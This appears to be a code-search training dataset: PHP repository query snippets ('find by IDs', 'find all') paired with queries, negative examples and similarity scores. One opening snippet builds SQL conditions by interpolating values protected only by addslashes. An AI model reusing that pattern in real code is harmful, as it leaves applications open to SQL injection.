array('row_id'));\n\t\t\n\t\t// Add where conditions\n\t\tforeach($keyValues as $key => $value) {\n\t\t\t$value = addslashes($value);\n\t\t\tif ($contains) {\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value` LIKE '%$value%'\");\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value` LIKE '%\".serialize($value).\"%'\");\n\t\t\t} else {\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value`='$value'\");\n\t\t\t\t$query->orWhere(\"`key` = '$key' AND `value`='\".serialize($value).\"'\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t// Group rows by row_id\n\t\t$query->group('row_id');\n\t\t\n\t\t// Having the minimum conditions\n\t\t$query->having('count(*) >= ?',$neededMatches);\n\t\t\n\t\t// order by key matches\n\t\t$query->order('count(*)');\n\t\t\n\t\t// limit the results\n\t\tif ($limit)\n\t\t\t$query->limit($limit);\n\t\t\n\t\t// Perform query\n\t\t$results = $dataTable->fetchAll($query);\n\n\t\tif (count($results)==0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif ($multipleResults) {\n\t\t\t// Get results as array\n\t\t\t$return = array();\n\t\t\tforeach($results as $result) {\n\t\t\t\t$return[] = $this->getByID($result->row_id);\n\t\t\t}\n\t\t} else {\n\t\t\t$return = $this->getByID($results[0]->row_id);\n\t\t}\n\n\t\treturn $return;\n\t\t\n\t\t//SELECT l.row_id, count(*) FROM list_data l WHERE ((l.key = \"title\" AND l.value = \"Macroeconomics\") OR (l.key = \"code\" AND l.value = \"EC502\")) GROUP BY l.row_id HAVING count(*) = 2\n\t\t\t\t\n\t}",
"public static function fetch_all_in_a_list()\n\t{\n\t return Company::orderBy( 'name' )->lists( 'name' , 'id' );\n\n\t}",
"public function findBy($params)\n\t{\n\t}"
]
| [
"0.6838133",
"0.6154047",
"0.61477596",
"0.5955623",
"0.59392506",
"0.59094465",
"0.58965975",
"0.5871664",
"0.5836915",
"0.5836915",
"0.5822248",
"0.5792901",
"0.57721",
"0.57326365",
"0.5711863",
"0.57058674",
"0.568195",
"0.567314",
"0.56173915",
"0.55848235",
"0.55848235",
"0.55848235",
"0.55848235",
"0.55848235",
"0.55848235",
"0.55848235",
"0.55848235",
"0.55828077",
"0.5578622",
"0.5578362",
"0.5578362",
"0.55753887",
"0.55615854",
"0.55384505",
"0.5537507",
"0.5535736",
"0.5535467",
"0.5512582",
"0.5501685",
"0.54736114",
"0.5472721",
"0.5471136",
"0.5467802",
"0.54673505",
"0.54436475",
"0.5430397",
"0.5424796",
"0.54198855",
"0.54116637",
"0.5411568",
"0.5384949",
"0.5371825",
"0.53620774",
"0.5361768",
"0.5361677",
"0.5353573",
"0.53451467",
"0.53401905",
"0.5338723",
"0.5335435",
"0.5332821",
"0.53248465",
"0.53197265",
"0.5317317",
"0.53107506",
"0.53100145",
"0.53100145",
"0.52895373",
"0.5281647",
"0.5274387",
"0.527306",
"0.52674824",
"0.52628386",
"0.5262066",
"0.5258484",
"0.52530575",
"0.5241802",
"0.5241802",
"0.52363575",
"0.5227525",
"0.5207311",
"0.5206502",
"0.5206091",
"0.52038187",
"0.5202645",
"0.51970345",
"0.51965046",
"0.51913375",
"0.51897603",
"0.5182395",
"0.5182087",
"0.5179257",
"0.5179257",
"0.5172737",
"0.5169639",
"0.5169585",
"0.51695436",
"0.51692367",
"0.51679516",
"0.51676524",
"0.51579356"
]
| 0.0 | -1 |
Find multiple entities by its ID | public function findByIds(array $ids, int $limit = null): \Generator
{
$fields = [
'id' => $ids,
];
yield from $this->findBy($fields, $limit);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findEntity($id);",
"public function find (...$ids) {\n\t\treturn $this->findByIds($ids);\n\t}",
"public function findByIds(array $ids);",
"public function find($entity_id);",
"public function findArray($id);",
"abstract function find($id): array;",
"public function returnMoreFindByPK($id);",
"public function searchEntitiesByIds($ids)\n {\n return $this->start()->uri(\"/api/entity/search\")\n ->urlParameter(\"ids\", $ids)\n ->get()\n ->go();\n }",
"public function find(int $id) ;",
"public function getByIds(array $ids);",
"function find($id);",
"public function fetchByIds(array $ids);",
"public function find( $id );",
"abstract public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public static function find($id);",
"function findById($id);",
"public function myFindaIdAll($id) {\n $parameters = array();\n $values = array('a,partial b.{id,nomprojet},partial c.{id,nomUser},partial d.{id,nom,description},f');\n\n $query = $this->createQueryBuilder('a')\n ->select($values)\n ->leftJoin('a.idProjet', 'b')\n ->leftJoin('a.demandeur', 'c')\n ->leftJoin('a.idStatus', 'd')\n ->leftJoin('a.picture', 'f')\n ->addSelect('g')\n //->addSelect('g')\n ->distinct('GroupConcat(g.nom) AS kak')\n ->leftJoin('a.idEnvironnement', 'g')\n ->leftJoin('a.comments', 'h')\n //->addSelect('e')\n ->addSelect('partial e.{id,nomUser}')\n ->distinct('GroupConcat(e.nomUser)')\n ->leftJoin('a.idusers', 'e');\n $query->add('orderBy', 'a.id DESC')\n ->andwhere('a.id = :myid');\n $query->setParameter('myid', $id);\n\n\n return $query->getQuery()->getSingleResult();\n }",
"public function findMultiple($entity, $ids) {\n if (!$this->getClient())\n $this->setError('Could not access Bullhorn API Client');\n // create query\n $request = new stdClass;\n $request->session = $this->getSessionKey();\n $request->entityName = $entity;\n $request->ids = array();\n foreach ($ids as $id) {\n $request->ids[] = new SoapVar($id, XSD_INT, 'int', \"http://www.w3.org/2001/XMLSchema\");\n }\n // do query\n try {\n $response = $this->getClient()->findMultiple($request);\n } catch (SoapFault $fault) {\n $this->setError($fault->getMessage());\n }\n // return\n return $response->return->dtos;\n }",
"public function findByIds($ids = [])\n {\n return $this->find(function ($item) use ($ids) {\n return in_array($item->getId(), $ids);\n });\n }",
"public static function findById($id);",
"public function findAllEntities();",
"public function find_all($ids) {\n return $this->_all_where('`'.$this->table()->info('name').'`.`user_id` IN (?)', $ids);\n }",
"public static function findMany($ids)\n {\n if (! is_array($ids)) {\n throw new \\UnexpectedValueException(\"IDs should be an array if primary key values!\");\n }\n\n $primaryKey = Structure::getTablePrimaryKey(static::class);\n if ($primaryKey === false) {\n throw new \\Exception(\"Primary Key can't be detected!\");\n }\n // Only get column name for the primary key\n $primaryKey = $primaryKey->name;\n\n /** @var Entity[] $result */\n $result = static::query()->where(array($primaryKey => array(\"IN\" => $ids)))->all();\n\n // Return results\n return $result;\n }",
"public function findById ($id);",
"public function byId(array $ids) {\n return $this->addSearchParam('id', implode(',', $ids))->get();\n }",
"public function find($id)\n {\n }",
"public function find($id)\n {\n }",
"public function find($id)\n {\n }",
"public function whereId($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findAllByIds($ids)\n {\n $result = array();\n if (is_iterable ($ids))\n {\n foreach ($ids as $id)\n {\n $result [] = $this->model->find($id);\n }\n }\n return $result;\n }",
"public function search($id);",
"public function getByIds($ids)\n {\n $sql = \"SELECT * FROM `%s` WHERE `%s` IN (%s)\";\n $array = array_fill(0, count($ids), \"?\");\n $places = implode(\",\", $array);\n $this->_sql[] = sprintf($sql, $this->_table, $this->_key, $places);\n\n $parameters = array();\n foreach ($ids as $id) {\n $parameters[] = array($this->_key => $id);\n }\n $this->_parameters[] = $this->parameterize($parameters);\n }",
"public function findAction($id);",
"function findById($id)\n {\n }",
"public function getAllIds();",
"public function find($id)\n { \n $entity = $this->_find($id);\n return $entity;\n }",
"function findByIds($ids) {\n return IncomingMails::find(array(\n 'conditions' => array('id IN (?)', $ids),\n 'order' => 'created_on DESC',\n ));\n }",
"public function findById(int $id);",
"public function findById(int $id);",
"public static function findById($id)\n {\n }",
"public function find(int $id)\n {\n }",
"public function findByIds(array $ids)\n {\n return $this->prepare(DB::findAll($this->table, 'id IN ('.implode(',', $ids).')'));\n }",
"public function find($ids, $conditions = array(), $hydration = self::ML_HYDRATION_MODEL){\n\n $result = null;\n\n if ($ids){\n\n // checking for model\n if ($this->_getInstance()){\n\n if (!isset($conditions['where'])){\n $conditions['where'] = array();\n }\n\n if (is_array($ids))\n $conditions['where'][$this->_getInstance()->getPrimaryKey()] = array('op' => 'in', 'value' => $ids);\n else\n $conditions['where'][$this->_getInstance()->getPrimaryKey()] = $ids;\n\n $result = $this->findBy($conditions, $hydration);\n\n }\n\n }\n\n return $result;\n\n }",
"public function returnFindByPK($id);",
"public static function find($id = null)\n {\n if ($id === null) {\n return static::query();\n }\n\n $many = static::findMany(array($id));\n\n if (count($many) <> 1) {\n return false;\n }\n $result = $many[0];\n\n if($result instanceof Entity) {\n return $result;\n }\n return false;\n }",
"public function findIds($query = null, $page = null, $options = null);",
"public static function find($id, $key = 'id');",
"public abstract function get_ids();",
"public function findUserByIDs($ids)\n {\n \treturn $this->createQueryBuilder('u')\n \t->where('u.id IN (:ids)')\n \t->setParameter('ids', $ids)\n \t->getQuery()\n \t->getOneOrNullResult()\n \t;\n }",
"public function findBy(array $where): ICollection;",
"public function findCollectionById($id);",
"public function getEntitiesByIds($identifier, array $values)\n {\n return $this->getRepository()->findBy(['id' => $identifier], ['discipline' => 'ASC']);\n }",
"public static function findById($id)\n\t{\n\t\n\t}",
"public function ids( array $params = array() );",
"public function findById() {\n // TODO: Implement findById() method.\n }",
"public function findById($id)\n {\n return $this->model->find($id);\n //return $this->model->whereId($id)->get();\n }",
"public function findBy(array $where = []);",
"public function findById($id)\n {\n }",
"public function findById($id)\n {\n }",
"public function findById($id)\n {\n }"
]
| [
"0.73345155",
"0.7317092",
"0.7228081",
"0.7012808",
"0.6887708",
"0.6864998",
"0.6835411",
"0.6812423",
"0.6719393",
"0.6697131",
"0.66615325",
"0.6600454",
"0.6577471",
"0.6576328",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.6570095",
"0.653918",
"0.6476768",
"0.6458125",
"0.6412061",
"0.6402655",
"0.64002955",
"0.6323998",
"0.63232666",
"0.63203746",
"0.63026005",
"0.627855",
"0.6273039",
"0.6273039",
"0.6273039",
"0.62439275",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.6234288",
"0.622761",
"0.6200668",
"0.6182283",
"0.616865",
"0.61652917",
"0.6164597",
"0.6161185",
"0.6154626",
"0.6149258",
"0.6149258",
"0.61445904",
"0.61437947",
"0.6126876",
"0.6113178",
"0.61019635",
"0.60942936",
"0.6088899",
"0.60879236",
"0.60878855",
"0.6085476",
"0.60730666",
"0.6071619",
"0.60681784",
"0.60523236",
"0.60408455",
"0.6037376",
"0.6024106",
"0.60238826",
"0.6009708",
"0.6009708",
"0.6009708"
]
| 0.0 | -1 |
Find multiple entities by its ID as a collection | public function findByIdsAsCollection(array $ids, int $limit = null): Collection
{
$iterator = $this->findByIds($ids, $limit);
$collection = new Collection($this->db);
$collection->fromIterable($iterator);
return $collection;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findCollectionById($id);",
"public function findByIds(array $ids);",
"public function findBy(array $where): ICollection;",
"public function findByUserId(int $id) : Collection;",
"public function find (...$ids) {\n\t\treturn $this->findByIds($ids);\n\t}",
"public function findById($id): Collection\n {\n }",
"public function entities(): Collection;",
"public function getCollection($id);",
"public function findArray($id);",
"public function findMany(Arrayable $ids): Collection\n {\n return $this->productRepo->findManyByIds($ids);\n }",
"public function getByIds(array $ids);",
"abstract function find($id): array;",
"public function fetchByIds(array $ids);",
"public function fetch(string $id, array $relations): Collection\n {\n }",
"public function findByIds(\n\t\tarray $idsArray,\n\t\t\\Sellastica\\Entity\\Configuration $configuration = null\n\t): \\Sellastica\\Entity\\Entity\\EntityCollection\n\t{\n\t\tthrow new \\Nette\\NotImplementedException();\n\t}",
"public function obterPorId(int $id): Collection\n {\n return $this->repository->find($id);\n }",
"public function findAllEntities();",
"public function findCollection(array $idArray)\n\t{\n\t\treturn $this->fetchAll(array(\n\t\t\t$this->getAdapter()->quoteIdentifier($this->getPrimaryName()) . ' IN (?)' => $idArray\n\t\t));\n\t}",
"abstract public function retrieveCollection(array $identifiers = []): array;",
"public function getAll() : Collection;",
"public function getAllIds();",
"public function getByIds(array $ids): TaskCollection\n {\n }",
"public abstract function get_ids();",
"public function addEntityIdFilter(string $id): Collection\n {\n return $this->addFilter(Model::ID, $id);\n }",
"public function findMany($ids, $columns = ['*'])\n {\n if (empty($ids)) {\n return $this->model->newCollection();\n }\n\n $this->query->whereIn($this->model->getQualifiedKeyName(), $ids);\n\n return $this->get($columns);\n }",
"public function getAllIds(): array;",
"public function findByIds($ids = [])\n {\n return $this->find(function ($item) use ($ids) {\n return in_array($item->getId(), $ids);\n });\n }",
"public function findEntity($id);",
"function findByIds($ids) {\n return IncomingMails::find(array(\n 'conditions' => array('id IN (?)', $ids),\n 'order' => 'created_on DESC',\n ));\n }",
"public function searchEntitiesByIds($ids)\n {\n return $this->start()->uri(\"/api/entity/search\")\n ->urlParameter(\"ids\", $ids)\n ->get()\n ->go();\n }",
"public function getByCategory(int $id): iterable;",
"public function myFindAll(){\n // $queryBuilder = $this->createQueryBuilder('a');\n // $query = $queryBuilder->getQuery();\n // $results = $query->getResult();\n return $this->createQueryBuilder('a')->getQuery()->getResult;\n }",
"public function find(int $id) ;",
"public function only(...$post_ids): Collection;",
"public function getIds();",
"public function getIds();",
"public function find( $id );",
"public function ids() {\n\t\t$q = $this->query();\n\t\t$q->select(Salesperson::aliasproperty('id'));\n\t\treturn $q->find()->toArray();\n\t}",
"public function find($entity_id);",
"public function returnMoreFindByPK($id);",
"function find($id);",
"public function findAllByIds($ids)\n {\n $result = array();\n if (is_iterable ($ids))\n {\n foreach ($ids as $id)\n {\n $result [] = $this->model->find($id);\n }\n }\n return $result;\n }",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function getByIds($ids)\n {\n return $this->model->whereIn('posts.id', $ids);\n }",
"public static function findMany($ids)\n {\n if (! is_array($ids)) {\n throw new \\UnexpectedValueException(\"IDs should be an array if primary key values!\");\n }\n\n $primaryKey = Structure::getTablePrimaryKey(static::class);\n if ($primaryKey === false) {\n throw new \\Exception(\"Primary Key can't be detected!\");\n }\n // Only get column name for the primary key\n $primaryKey = $primaryKey->name;\n\n /** @var Entity[] $result */\n $result = static::query()->where(array($primaryKey => array(\"IN\" => $ids)))->all();\n\n // Return results\n return $result;\n }",
"public function find_all($ids) {\n return $this->_all_where('`'.$this->table()->info('name').'`.`user_id` IN (?)', $ids);\n }",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findIds($query = null, $page = null, $options = null);",
"public function myFindaIdAll($id) {\n $parameters = array();\n $values = array('a,partial b.{id,nomprojet},partial c.{id,nomUser},partial d.{id,nom,description},f');\n\n $query = $this->createQueryBuilder('a')\n ->select($values)\n ->leftJoin('a.idProjet', 'b')\n ->leftJoin('a.demandeur', 'c')\n ->leftJoin('a.idStatus', 'd')\n ->leftJoin('a.picture', 'f')\n ->addSelect('g')\n //->addSelect('g')\n ->distinct('GroupConcat(g.nom) AS kak')\n ->leftJoin('a.idEnvironnement', 'g')\n ->leftJoin('a.comments', 'h')\n //->addSelect('e')\n ->addSelect('partial e.{id,nomUser}')\n ->distinct('GroupConcat(e.nomUser)')\n ->leftJoin('a.idusers', 'e');\n $query->add('orderBy', 'a.id DESC')\n ->andwhere('a.id = :myid');\n $query->setParameter('myid', $id);\n\n\n return $query->getQuery()->getSingleResult();\n }",
"public function findMany($ids, $columns = ['*'])\n {\n return $this->model->findMany($ids, $columns);\n }",
"public function findByIds(array $ids)\n {\n return $this->prepare(DB::findAll($this->table, 'id IN ('.implode(',', $ids).')'));\n }",
"public function transform($id)\n {\n if (!$id) {\n return null;\n }\n\n if (is_array($id)) {\n $em = $this->om->getRepository($this->classname)->createQueryBuilder('si')->getManager();\n $query = $em->createQuery(\"SELECT ob FROM \" . $this->classname . \" ob WHERE ob.id IN(\"\n . implode(',', $id) . \") ORDER BY ob.id ASC\");\n $result = $query->getResult();\n return new ArrayCollection($result);\n } else {\n $result = $this->om->getRepository($this->classname)->findOneBy(array(\n 'id' => $id));\n return $result;\n }\n }",
"abstract public function find($id);",
"public function findHavingIds(array $ids): ResourceCollection\n {\n $models = array_map(function($id){\n return $this->find($id);\n }, $ids);\n\n return new ResourceCollection($models);\n }",
"public function findAll() {}",
"public function findAll() {}",
"public function getCollection() {\n return $this->gateway->find(\n $this->getFilter(),\n $this->order,\n $this->relations,\n $this->pager,\n !$this->excludeRepo\n );\n }",
"public function findAll() {}",
"public function all(): Collection;",
"public function all(): Collection;",
"public function all(): Collection;",
"public function all(): Collection;",
"public function fetchCollection($criteria = null);",
"public function fetchCollection(string $class, array $ids) : array\n {\n $alias = lcfirst((new \\ReflectionClass($class))->getShortName());\n \n return $this->getQuery($class, [\n 'filter' => [\n [$alias.'.'.$class::getIdentifierName(), 'in', $ids]\n ]\n ], $alias)->getResult();\n }",
"public function getEntities();",
"public function getEntities();",
"public static function find($id);",
"public function getObjectIds();",
"function getIds( array $Objects );",
"public function getAllEntities();",
"public function getMany($args = null);"
]
| [
"0.73491335",
"0.71798426",
"0.7102374",
"0.7029109",
"0.70106804",
"0.7001499",
"0.6882091",
"0.67133754",
"0.6677458",
"0.6612289",
"0.6608519",
"0.6502523",
"0.64792675",
"0.64689183",
"0.64045787",
"0.6391499",
"0.6309726",
"0.6289402",
"0.62827945",
"0.6276356",
"0.6262759",
"0.6240967",
"0.62358904",
"0.6169288",
"0.61679864",
"0.6167912",
"0.61657786",
"0.6154671",
"0.61273676",
"0.6121505",
"0.61061585",
"0.61024344",
"0.6086323",
"0.608392",
"0.60793763",
"0.60793763",
"0.6069256",
"0.6061228",
"0.6050926",
"0.60465306",
"0.6040052",
"0.6038904",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.6019765",
"0.60142463",
"0.59894794",
"0.5987188",
"0.5981777",
"0.5981777",
"0.5981777",
"0.5981777",
"0.5981777",
"0.5981777",
"0.5981777",
"0.5981777",
"0.59677106",
"0.59536535",
"0.59077364",
"0.5900925",
"0.589311",
"0.5888101",
"0.58798826",
"0.5877813",
"0.5877813",
"0.5877473",
"0.5876575",
"0.5876522",
"0.5876522",
"0.5876522",
"0.5876522",
"0.5850309",
"0.582548",
"0.58229655",
"0.58229655",
"0.5815874",
"0.58022714",
"0.5795301",
"0.5794717",
"0.5781383"
]
| 0.613739 | 28 |
Find all entities (default sort `id ASC`) | public function findAll(?int $limit = null, string $orderBy = 'id ASC'): \Generator
{
$query = new Query\Select($this->klass);
$query->orderBy($orderBy);
if ($limit !== null) {
$query->limit($limit);
}
yield from $this->db->select($this->klass, $query);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function listaAll() {\n require ROOT . \"config/bootstrap.php\";\n return $em->getRepository('models\\Equipamentos')->findby(array(), array(\"id\" => \"DESC\"));\n $em->flush();\n }",
"public function findAll() {\n $orderby = array_key_exists('position', $this->_class->columnNames) ? ['position' => 'ASC']: null;\n return $this->findBy(array(), $orderby);\n }",
"public function findAll()\n {\n return $this->find([], ['name' => 'ASC']);\n }",
"public function findAllByOrder()\n {\n return $this->findBy(array(), array('updatedAt'=>'desc', 'createdAt'=>'desc'));\n }",
"public function getAllEntities();",
"protected function getAll(){\n return $this->orderBy('id','desc')->paginate(10);\n }",
"public function findAllEntities();",
"public function findAll(array $orderBy = null): array;",
"public function findAll()\n {\n return $this->getRepository()->findBy(array(), array('title' => 'ASC'));\n }",
"public function findAll()\n {\n return $this->createQueryBuilder()\n ->sort('createdAt', 'desc')\n ->getQuery()\n ->execute();\n }",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function all()\n {\n return $this->orderBy('id', 'DESC')->fetchAll($this->table);\n }",
"public function findAll() {}",
"public function findAll() {}",
"public function findAll() {}",
"public function all(){\r\n\treturn $this->getRepository()->findAll();\r\n }",
"public function all(){\n return Estoque::orderBy('id', 'asc')->get();\n }",
"public function findAll() {\n return $this->findBy(array(), array('title' => 'ASC'));\n }",
"function get_all()\n {\n $this->db->order_by($this->id, $this->order);\n return $this->db->get($this->table)->result();\n }",
"public function fetchAll();",
"public function fetchAll();",
"public function fetchAll();",
"public function fetchAll();",
"public function findAll()\n {\n return $this->findBy(array());\n }",
"function FindAll( $orderby = \"id ASC\", $exclude=true )\n\t{\n\t\t// Let's speed up this query and exclude the blob fields... too much memory for nothing. \n\t\tif ( $exclude ) {\n\t\t\treturn MyActiveRecord::FindBySql('Items', \"SELECT id, name, display_name, content, template, display_order, sku, price, taxonomy, public, public2, date_created, date_revised FROM items ORDER BY $orderby\");\n\t\t} else {\n\t\t\treturn MyActiveRecord::FindAll('Items'); \n\t\t}\n\t}",
"public abstract function fetchAll();",
"public function findAllOverruleOrderBy()\n {\n $mockResult = $this->getMock('stubDatabaseResult');\n $this->mockConnection->expects($this->any())->method('query')->will($this->returnValue($mockResult));\n $mockResult->expects($this->once())\n ->method('fetchAll')\n ->will($this->returnValue(array(array('bar' => 'Here is bar.', 'default' => 'And this is default.'))));\n $finderResult = $this->dbFinder->findAll($this->mockConnection, new stubReflectionClass('MockSinglePrimaryKeyEntity'), 'blub DESC');\n $this->assertEquals(1, $finderResult->count());\n $data = $finderResult->current();\n $this->assertEquals('Here is bar.', $data->withAnnotation());\n $this->assertEquals('And this is default.', $data->withDefaultValue());\n $select = $this->mockQueryBuilder->getSelect();\n $this->assertEquals('foo', $select->getBaseTableName());\n $this->assertEquals('blub DESC', $select->getOrderedBy());\n $this->assertFalse($select->hasLimit());\n $this->assertNull($select->getOffset());\n $this->assertNull($select->getAmount());\n $this->assertFalse($select->hasCriterion());\n }",
"public function getAll(): Collection\n {\n return $this->model->newQuery()->orderBy('disporder')->all();\n }",
"public function getAll()\r\n {\r\n $stmt = $this->conn->prepare(\"SELECT * FROM $this->table ORDER BY id DESC\");\r\n $stmt->execute();\r\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\r\n }",
"public function showEntities()\n {\n return Entity::paginate(10);\n }",
"public abstract function fetchAllObjects();",
"public function findAllAction();",
"public function getAllOrderedByName()\n {\n return $this->model->orderBy('name', 'asc')->get();\n }",
"public function getAll()\n {\n return $this->model->orderBy('id', 'DESC')->get();\n }",
"public function getAll()\n\t{\n\t\t$args = array('order' => 't.id');\n \t$records = $this->record->findAll($args);\n \treturn $this->model->populateModels($records, 'id');\n\t}",
"public function getEntities()\n {\n return $this->getRepository()->findBy([], ['discipline' => 'ASC']);\n }",
"public function findAll()\n {\n $this->setPageSize(9999);\n \n return $this->find();\n }",
"public function findAll()\r\n {\r\n }",
"public function findAll() {\n\t\treturn $this->createQuery()->execute();\n\t}",
"function all($table, $order='DESC')\n{\n return connect()->query(\"SELECT * FROM $table ORDER By id $order\");\n}",
"public function orderby(){\n\n $rows = $this\n ->db\n ->order_by(\"title\", \"asc\")\n ->order_by(\"id\", \"random\")\n ->get(\"personel\")\n ->result();\n\n print_r($rows);\n\n }",
"public function findAll()\n {\n }",
"function findAll() ;",
"public function getAll($orderBy = ['column' => 'id', 'dir' => 'Asc'])\n {\n return $this->model->orderBy($orderBy['column'], $orderBy['dir'])->get();\n }",
"public static function get_all()\n\t{\n\n\t\t$params = array(\n\t\t\t'orderby' => 'name ASC'\n\t\t\t);\n\n\t\treturn self::get( $params );\n\t}",
"public function findAllOrders()\n {\n return $this->createQueryBuilder('o')\n ->orderBy('o.createdDate' , 'DESC');\n }",
"public function findAll() {\n }",
"public function findAllKeyedById(array $orderBy = null): array;",
"public function fetchAll()\n {\n }",
"public function findAll()\n {\n return $this->createQuery()->execute();\n }",
"public function findAll() : array;",
"public function findAll() : array;",
"public function myFindAll(){\n // $queryBuilder = $this->createQueryBuilder('a');\n // $query = $queryBuilder->getQuery();\n // $results = $query->getResult();\n return $this->createQueryBuilder('a')->getQuery()->getResult;\n }",
"public function encontrarTodosOrdenadosPorUltimo() {\n return $this->getEntityManager()->getRepository($this->getEntity())->findBy(array(), array('id' => 'DESC'));\n }",
"public function findAll(stubBaseReflectionClass $entityClass, $orderBy = null, $offset = null, $amount = null);",
"public function fetchAll()\n {\n return Accessory::paginate(25);\n }",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll();",
"public function getAll() {}",
"public function getAll() {}",
"public function getAll() {}",
"public function getAll() {}",
"public function getAll() {}",
"public function findAll()\n {\n return $this->findBy(array(), array('fechaPublicacion' => 'DESC'));\n }",
"public function findAll()\n {\n return $this->findBy(array(), array('lastname' => 'ASC'));\n }",
"function findAll() {\n return Documents::find(array(\n 'order' => 'created_on DESC',\n ));\n }",
"public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }",
"public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }",
"public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }",
"public function getAll()\r\n\t{\r\n\t\treturn $this->findAll();\r\n\t}",
"public function findAll()\n {\n return $this->getEntityRepository()->findAll();\n }",
"public function getAll()\n {\n return $this->findAll();\n }",
"public function findAll()\n {\n $sql = \"SELECT rowid, * FROM USER\";\n $result = $this->getDb()->fetchAll($sql);\n $entities = array();\n foreach ($result as $row) {\n $id = $row['rowid'];\n $entities[$id] = $this->buildDomainObject($row);\n }\n return $entities;\n }",
"public function getList()\n\t{\n\t\treturn $this->crud->orderby('id DESC')\n\t\t\t\t\t->read(10)\n\t\t;\t\n\t}"
]
| [
"0.7123231",
"0.7052728",
"0.69025797",
"0.68133557",
"0.67800105",
"0.670921",
"0.66576236",
"0.6590591",
"0.65332395",
"0.6531498",
"0.6515922",
"0.6515922",
"0.6515922",
"0.6515922",
"0.6515922",
"0.6515922",
"0.6515922",
"0.6515922",
"0.651277",
"0.64905846",
"0.64895415",
"0.64895415",
"0.6461821",
"0.6448018",
"0.6432583",
"0.63270783",
"0.63164693",
"0.63164693",
"0.63164693",
"0.63164693",
"0.6314354",
"0.63081306",
"0.63077873",
"0.6300817",
"0.6293663",
"0.6281383",
"0.62780327",
"0.62726015",
"0.622762",
"0.6218036",
"0.621247",
"0.6211052",
"0.620117",
"0.6189373",
"0.6174102",
"0.6167527",
"0.61642396",
"0.61617565",
"0.61546445",
"0.61456",
"0.6133604",
"0.612852",
"0.6113146",
"0.61131006",
"0.6105693",
"0.6098693",
"0.6089107",
"0.6083699",
"0.6083699",
"0.6075056",
"0.60670155",
"0.60666424",
"0.6062724",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60319835",
"0.60307455",
"0.60307455",
"0.60307455",
"0.60306877",
"0.60306877",
"0.6020302",
"0.60087246",
"0.6008197",
"0.59994864",
"0.59994864",
"0.59994864",
"0.59772885",
"0.5964065",
"0.59592295",
"0.59591615",
"0.59566116"
]
| 0.0 | -1 |
Find all entities as a collection (default sort `id ASC`) | public function findAllCollection(?int $limit = null, string $orderBy = 'id ASC'): Collection
{
$iterator = $this->findAll($limit, $orderBy);
/** @var Collection<TEntity> $collection */
$collection = new Collection($this->db);
$collection->fromIterable($iterator);
return $collection;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function entities(): Collection;",
